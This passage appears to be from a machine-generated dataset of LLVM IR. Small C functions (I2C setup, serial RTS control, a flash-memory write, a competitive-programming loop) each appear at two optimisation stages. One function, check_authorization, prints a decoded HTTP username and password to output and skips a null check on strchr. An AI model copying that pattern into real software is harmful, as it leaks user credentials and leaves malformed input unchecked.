!{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpsaikypnn.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @pthread_cancel(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca i32, align 4 store i32 %0, ptr %3, align 4 %4 = load i32, ptr %3, align 4 %5 = call i32 @thread_exit(i32 noundef %4) %6 = load i32, ptr %2, align 4 ret i32 %6 } declare i32 @thread_exit(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmptzwfatni.c' source_filename = "/tmp/tmptzwfatni.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [11 x i8] c"/dev/i2c-1\00", align 1 @.str.1 = private unnamed_addr constant [11 x i8] c"/dev/i2c-4\00", align 1 @.str.2 = private unnamed_addr constant [11 x i8] c"/dev/i2c-0\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @wiringPiI2CSetup(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %9 = call i32 @piBoardId(ptr noundef %4, ptr noundef %5, ptr noundef %6, ptr noundef %7, ptr noundef %8) %10 = load i32, ptr %4, align 4 %11 = icmp eq i32 %10, 13 br i1 %11, label %15, label %12 12: ; preds = %1 %13 = load i32, ptr %4, align 4 %14 = icmp eq i32 %13, 15 br i1 %14, label %15, label %16 15: ; preds = %12, %1 store ptr @.str, ptr %3, align 8 br label %28 16: ; preds = %12 %17 = load i32, ptr %4, align 4 %18 = icmp eq i32 %17, 14 br i1 %18, label %19, label %20 19: ; preds = %16 store ptr @.str.1, ptr %3, align 8 br label %27 20: ; preds = %16 %21 = call i32 (...) @piGpioLayout() store i32 %21, ptr %5, align 4 %22 = load i32, ptr %5, align 4 %23 = icmp eq i32 %22, 1 br i1 %23, label %24, label %25 24: ; preds = %20 store ptr @.str.2, ptr %3, align 8 br label %26 25: ; preds = %20 store ptr @.str, ptr %3, align 8 br label %26 26: ; preds = %25, %24 br label %27 27: ; preds = %26, %19 br label %28 28: ; preds = %27, %15 %29 = load ptr, ptr %3, align 8 %30 = load i32, ptr %2, align 4 %31 = call i32 @wiringPiI2CSetupInterface(ptr noundef %29, i32 noundef %30) ret i32 %31 } declare i32 @piBoardId(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @piGpioLayout(...) #1 declare i32 @wiringPiI2CSetupInterface(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmptzwfatni.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [11 x i8] c"/dev/i2c-1\00", align 1 @.str.1 = private unnamed_addr constant [11 x i8] c"/dev/i2c-4\00", align 1 @.str.2 = private unnamed_addr constant [11 x i8] c"/dev/i2c-0\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @wiringPiI2CSetup(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %9 = call i32 @piBoardId(ptr noundef %4, ptr noundef %5, ptr noundef %6, ptr noundef %7, ptr noundef %8) %10 = load i32, ptr %4, align 4 %11 = icmp eq i32 %10, 13 br i1 %11, label %15, label %12 12: ; preds = %1 %13 = load i32, ptr %4, align 4 %14 = icmp eq i32 %13, 15 br i1 %14, label %15, label %16 15: ; preds = %12, %1 store ptr @.str, ptr %3, align 8 br label %28 16: ; preds = %12 %17 = load i32, ptr %4, align 4 %18 = icmp eq i32 %17, 14 br i1 %18, label %19, label %20 19: ; preds = %16 store ptr @.str.1, ptr %3, align 8 br label %27 20: ; preds = %16 %21 = call i32 (...) @piGpioLayout() store i32 %21, ptr %5, align 4 %22 = load i32, ptr %5, align 4 %23 = icmp eq i32 %22, 1 br i1 %23, label %24, label %25 24: ; preds = %20 store ptr @.str.2, ptr %3, align 8 br label %26 25: ; preds = %20 store ptr @.str, ptr %3, align 8 br label %26 26: ; preds = %25, %24 br label %27 27: ; preds = %26, %19 br label %28 28: ; preds = %27, %15 %29 = load ptr, ptr %3, align 8 %30 = load i32, ptr %2, align 4 %31 = call i32 @wiringPiI2CSetupInterface(ptr noundef %29, i32 noundef %30) ret i32 %31 } declare i32 @piBoardId(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @piGpioLayout(...) #1 declare i32 @wiringPiI2CSetupInterface(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpl7jw6zuf.c' source_filename = "/tmp/tmpl7jw6zuf.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @R_FDL_FCUFct_Resume() #0 { %1 = call i32 @R_FDL_IFct_WriteMemoryU16(i32 noundef -6160384, i32 noundef 208) ret void } declare i32 @R_FDL_IFct_WriteMemoryU16(i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpl7jw6zuf.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @R_FDL_FCUFct_Resume() #0 { %1 = call i32 @R_FDL_IFct_WriteMemoryU16(i32 noundef -6160384, i32 noundef 208) ret void } declare i32 @R_FDL_IFct_WriteMemoryU16(i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpqt1jvv9m.c' source_filename = "/tmp/tmpqt1jvv9m.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @TIOCM_RTS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @set_rts(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %4 = load i32, ptr %2, align 4 %5 = call i32 @get_mlines(i32 noundef %4) store i32 %5, ptr %3, align 4 %6 = load i32, ptr @TIOCM_RTS, align 4 %7 = load i32, ptr %3, align 4 %8 = or i32 %7, %6 store i32 %8, ptr %3, align 4 %9 = load i32, ptr %2, align 4 %10 = load i32, ptr %3, align 4 %11 = call i32 @put_mlines(i32 noundef %9, i32 noundef %10) store i32 %11, ptr %3, align 4 %12 = load i32, ptr %3, align 4 ret i32 %12 } declare i32 @get_mlines(i32 noundef) #1 declare i32 @put_mlines(i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpqt1jvv9m.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @TIOCM_RTS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @set_rts(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %4 = load i32, ptr %2, align 4 %5 = call i32 @get_mlines(i32 noundef %4) store i32 %5, ptr %3, align 4 %6 = load i32, ptr @TIOCM_RTS, align 4 %7 = load i32, ptr %3, align 4 %8 = or i32 %7, %6 store i32 %8, ptr %3, align 4 %9 = load i32, ptr %2, align 4 %10 = load i32, ptr %3, align 4 %11 = call i32 @put_mlines(i32 noundef %9, i32 noundef %10) store i32 %11, ptr %3, align 4 %12 = load i32, ptr %3, align 4 ret i32 %12 } declare i32 @get_mlines(i32 noundef) #1 declare i32 @put_mlines(i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp5yso2icj.c' source_filename = "/tmp/tmp5yso2icj.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [14 x i8] c"cipher is %s\0A\00", align 1 @.str.1 = private unnamed_addr constant [25 x i8] c"user is %s,pwd is **%s**\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @check_authorization(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca i32, align 4 %6 = alloca ptr, align 8 %7 = alloca [256 x i8], align 16 store ptr %0, ptr %2, align 8 %8 = load ptr, ptr %2, align 8 %9 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str, ptr noundef %8) call void @llvm.memset.p0.i64(ptr align 16 %7, i8 0, i64 256, i1 false) %10 = load ptr, ptr %2, align 8 %11 = getelementptr inbounds [256 x i8], ptr %7, i64 0, i64 0 %12 = call i32 @http_base64_decode(ptr noundef %10, ptr noundef %11, i32 noundef 256) %13 = getelementptr inbounds [256 x i8], ptr %7, i64 0, i64 0 %14 = call ptr @strchr(ptr noundef %13, i8 noundef signext 58) store ptr %14, ptr %4, align 8 %15 = load ptr, ptr %4, align 8 %16 = getelementptr inbounds i8, ptr %15, i32 1 store ptr %16, ptr %4, align 8 %17 = getelementptr inbounds [256 x i8], ptr %7, i64 0, i64 0 %18 = ptrtoint ptr %15 to i64 %19 = ptrtoint ptr %17 to i64 %20 = sub i64 %18, %19 %21 = trunc i64 %20 to i32 store i32 %21, ptr %5, align 4 %22 = load i32, ptr %5, align 4 %23 = sext i32 %22 to i64 %24 = getelementptr inbounds [256 x i8], ptr %7, i64 0, i64 %23 store i8 0, ptr %24, align 1 %25 = getelementptr inbounds [256 x i8], ptr %7, i64 0, i64 0 store ptr %25, ptr %3, align 8 %26 = load ptr, ptr %3, align 8 %27 = load ptr, ptr %4, align 8 %28 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %26, ptr noundef %27) %29 = load ptr, ptr %3, align 8 %30 = load ptr, ptr %4, align 8 %31 = call i32 @auth_user(ptr noundef %29, ptr noundef %30) ret i32 %31 } declare i32 @printf(ptr noundef, ptr noundef, ...) #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2 declare i32 @http_base64_decode(ptr noundef, ptr noundef, i32 noundef) #1 declare ptr @strchr(ptr noundef, i8 noundef signext) #1 declare i32 @auth_user(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp5yso2icj.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [14 x i8] c"cipher is %s\0A\00", align 1 @.str.1 = private unnamed_addr constant [25 x i8] c"user is %s,pwd is **%s**\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @check_authorization(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca i32, align 4 %6 = alloca ptr, align 8 %7 = alloca [256 x i8], align 16 store ptr %0, ptr %2, align 8 %8 = load ptr, ptr %2, align 8 %9 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str, ptr noundef %8) call void @llvm.memset.p0.i64(ptr align 16 %7, i8 0, i64 256, i1 false) %10 = load ptr, ptr %2, align 8 %11 = getelementptr inbounds [256 x i8], ptr %7, i64 0, i64 0 %12 = call i32 @http_base64_decode(ptr noundef %10, ptr noundef %11, i32 noundef 256) %13 = getelementptr inbounds [256 x i8], ptr %7, i64 0, i64 0 %14 = call ptr @strchr(ptr noundef %13, i8 noundef signext 58) store ptr %14, ptr %4, align 8 %15 = load ptr, ptr %4, align 8 %16 = getelementptr inbounds i8, ptr %15, i32 1 store ptr %16, ptr %4, align 8 %17 = getelementptr inbounds [256 x i8], ptr %7, i64 0, i64 0 %18 = ptrtoint ptr %15 to i64 %19 = ptrtoint ptr %17 to i64 %20 = sub i64 %18, %19 %21 = trunc i64 %20 to i32 store i32 %21, ptr %5, align 4 %22 = load i32, ptr %5, align 4 %23 = sext i32 %22 to i64 %24 = getelementptr inbounds [256 x i8], ptr %7, i64 0, i64 %23 store i8 0, ptr %24, align 1 %25 = getelementptr inbounds [256 x i8], ptr %7, i64 0, i64 0 store ptr %25, ptr %3, align 8 %26 = load ptr, ptr %3, align 8 %27 = load ptr, ptr %4, align 8 %28 = call i32 (ptr, ptr, ...) @printf(ptr noundef @.str.1, ptr noundef %26, ptr noundef %27) %29 = load ptr, ptr %3, align 8 %30 = load ptr, ptr %4, align 8 %31 = call i32 @auth_user(ptr noundef %29, ptr noundef %30) ret i32 %31 } declare i32 @printf(ptr noundef, ptr noundef, ...) #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2 declare i32 @http_base64_decode(ptr noundef, ptr noundef, i32 noundef) #1 declare ptr @strchr(ptr noundef, i8 noundef signext) #1 declare i32 @auth_user(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpl4pkw_78.c' source_filename = "/tmp/tmpl4pkw_78.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.1 = private unnamed_addr constant [6 x i8] c"%lld\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i64, align 8 %6 = alloca i64, align 8 %7 = alloca ptr, align 8 %8 = alloca i64, align 8 store i32 0, ptr %1, align 4 %9 = call i32 @scanf(ptr noundef @.str, ptr noundef %2) br label %10 10: ; preds = %75, %0 %11 = load i32, ptr %2, align 4 %12 = add nsw i32 %11, -1 store i32 %12, ptr %2, align 4 %13 = icmp ne i32 %11, 0 br i1 %13, label %14, label %79 14: ; preds = %10 %15 = call i32 @scanf(ptr noundef @.str, ptr noundef %3) %16 = load i32, ptr %3, align 4 %17 = zext i32 %16 to i64 %18 = call ptr @llvm.stacksave() store ptr %18, ptr %7, align 8 %19 = alloca i32, i64 %17, align 16 store i64 %17, ptr %8, align 8 store i32 0, ptr %4, align 4 br label %20 20: ; preds = %29, %14 %21 = load i32, ptr %4, align 4 %22 = load i32, ptr %3, align 4 %23 = icmp slt i32 %21, %22 br i1 %23, label %24, label %32 24: ; preds = %20 %25 = load i32, ptr %4, align 4 %26 = sext i32 %25 to i64 %27 = getelementptr inbounds i32, ptr %19, i64 %26 %28 = call i32 @scanf(ptr noundef @.str, ptr noundef %27) br label %29 29: ; preds = %24 %30 = load i32, ptr %4, align 4 %31 = add nsw i32 %30, 1 store i32 %31, ptr %4, align 4 br label %20, !llvm.loop !6 32: ; preds = %20 %33 = load i32, ptr %3, align 4 %34 = call i32 @ms(ptr noundef %19, i32 noundef %33) store i64 0, ptr %5, align 8 store i32 0, ptr %4, align 4 br label %35 35: ; preds = %72, %32 %36 = load i32, ptr %4, align 4 %37 = load i32, ptr %3, align 4 %38 = sub nsw i32 %37, 1 %39 = icmp slt i32 %36, %38 br i1 %39, label %40, label %75 40: ; preds = %35 store i64 1, ptr %6, align 8 br label %41 41: ; preds = %62, %40 %42 = load i32, ptr %4, align 4 %43 = load i32, ptr %3, align 4 %44 = sub nsw i32 %43, 1 %45 = icmp slt i32 %42, %44 br i1 %45, label %46, label %57 46: ; preds = %41 %47 = load i32, ptr %4, align 4 %48 = sext i32 %47 to i64 %49 = getelementptr inbounds i32, ptr %19, i64 %48 %50 = load i32, ptr %49, align 4 %51 = load i32, ptr %4, align 4 %52 = add nsw i32 %51, 1 %53 = sext i32 %52 to i64 %54 = getelementptr inbounds i32, ptr %19, i64 %53 %55 = load i32, ptr %54, align 4 %56 = icmp eq i32 %50, %55 br label %57 57: ; preds = %46, %41 %58 = phi i1 [ false, %41 ], [ %56, %46 ] br i1 %58, label %59, label %65 59: ; preds = %57 %60 = load i64, ptr %6, align 8 %61 = add nsw i64 %60, 1 store i64 %61, ptr %6, align 8 br label %62 62: ; preds = %59 %63 = load i32, ptr %4, align 4 %64 = add nsw i32 %63, 1 store i32 %64, ptr %4, align 4 br label %41, !llvm.loop !8 65: ; preds = %57 %66 = load i64, ptr %6, align 8 %67 = sub nsw i64 %66, 1 %68 = load i64, ptr %6, align 8 %69 = mul nsw i64 %67, %68 %70 = load i64, ptr %5, align 8 %71 = add nsw i64 %70, %69 store i64 %71, ptr %5, align 8 br label %72 72: ; preds = %65 %73 = load i32, ptr %4, align 4 %74 = add nsw i32 %73, 1 store i32 %74, ptr %4, align 4 br label %35, !llvm.loop !9 75: ; preds = %35 %76 = load i64, ptr %5, align 8 %77 = call i32 @printf(ptr noundef @.str.1, i64 noundef %76) %78 = load ptr, ptr %7, align 8 call void @llvm.stackrestore(ptr %78) br label %10, !llvm.loop !10 79: ; preds = %10 ret i32 0 } declare i32 @scanf(ptr noundef, ptr noundef) #1 ; Function Attrs: nocallback nofree nosync nounwind willreturn declare ptr @llvm.stacksave() #2 declare i32 @ms(ptr noundef, i32 noundef) #1 declare i32 @printf(ptr noundef, i64 noundef) #1 ; Function Attrs: nocallback nofree nosync nounwind willreturn declare void @llvm.stackrestore(ptr) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nosync nounwind willreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpl4pkw_78.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.1 = private unnamed_addr constant [6 x i8] c"%lld\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i64, align 8 %6 = alloca i64, align 8 %7 = alloca ptr, align 8 %8 = alloca i64, align 8 store i32 0, ptr %1, align 4 %9 = call i32 @scanf(ptr noundef @.str, ptr noundef %2) %10 = load i32, ptr %2, align 4 %11 = add nsw i32 %10, -1 store i32 %11, ptr %2, align 4 %12 = icmp ne i32 %10, 0 br i1 %12, label %.lr.ph5, label %86 .lr.ph5: ; preds = %0 br label %13 13: ; preds = %.lr.ph5, %79 %14 = call i32 @scanf(ptr noundef @.str, ptr noundef %3) %15 = load i32, ptr %3, align 4 %16 = zext i32 %15 to i64 %17 = call ptr @llvm.stacksave() store ptr %17, ptr %7, align 8 %18 = alloca i32, i64 %16, align 16 store i64 %16, ptr %8, align 8 store i32 0, ptr %4, align 4 %19 = load i32, ptr %4, align 4 %20 = load i32, ptr %3, align 4 %21 = icmp slt i32 %19, %20 br i1 %21, label %.lr.ph, label %33 .lr.ph: ; preds = %13 br label %22 22: ; preds = %.lr.ph, %27 %23 = load i32, ptr %4, align 4 %24 = sext i32 %23 to i64 %25 = getelementptr inbounds i32, ptr %18, i64 %24 %26 = call i32 @scanf(ptr noundef @.str, ptr noundef %25) br label %27 27: ; preds = %22 %28 = load i32, ptr %4, align 4 %29 = add nsw i32 %28, 1 store i32 %29, ptr %4, align 4 %30 = load i32, ptr %4, align 4 %31 = load i32, ptr %3, align 4 %32 = icmp slt i32 %30, %31 br i1 %32, label %22, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %27 br label %33 33: ; preds = %._crit_edge, %13 %34 = load i32, ptr %3, align 4 %35 = call i32 @ms(ptr noundef %18, i32 noundef %34) store i64 0, ptr %5, align 8 store i32 0, ptr %4, align 4 %36 = load i32, ptr %4, align 4 %37 = load i32, ptr %3, align 4 %38 = sub nsw i32 %37, 1 %39 = icmp slt i32 %36, %38 br i1 %39, label %.lr.ph2, label %79 .lr.ph2: ; preds = %33 br label %40 40: ; preds = %.lr.ph2, %72 store i64 1, ptr %6, align 8 br label %41 41: ; preds = %62, %40 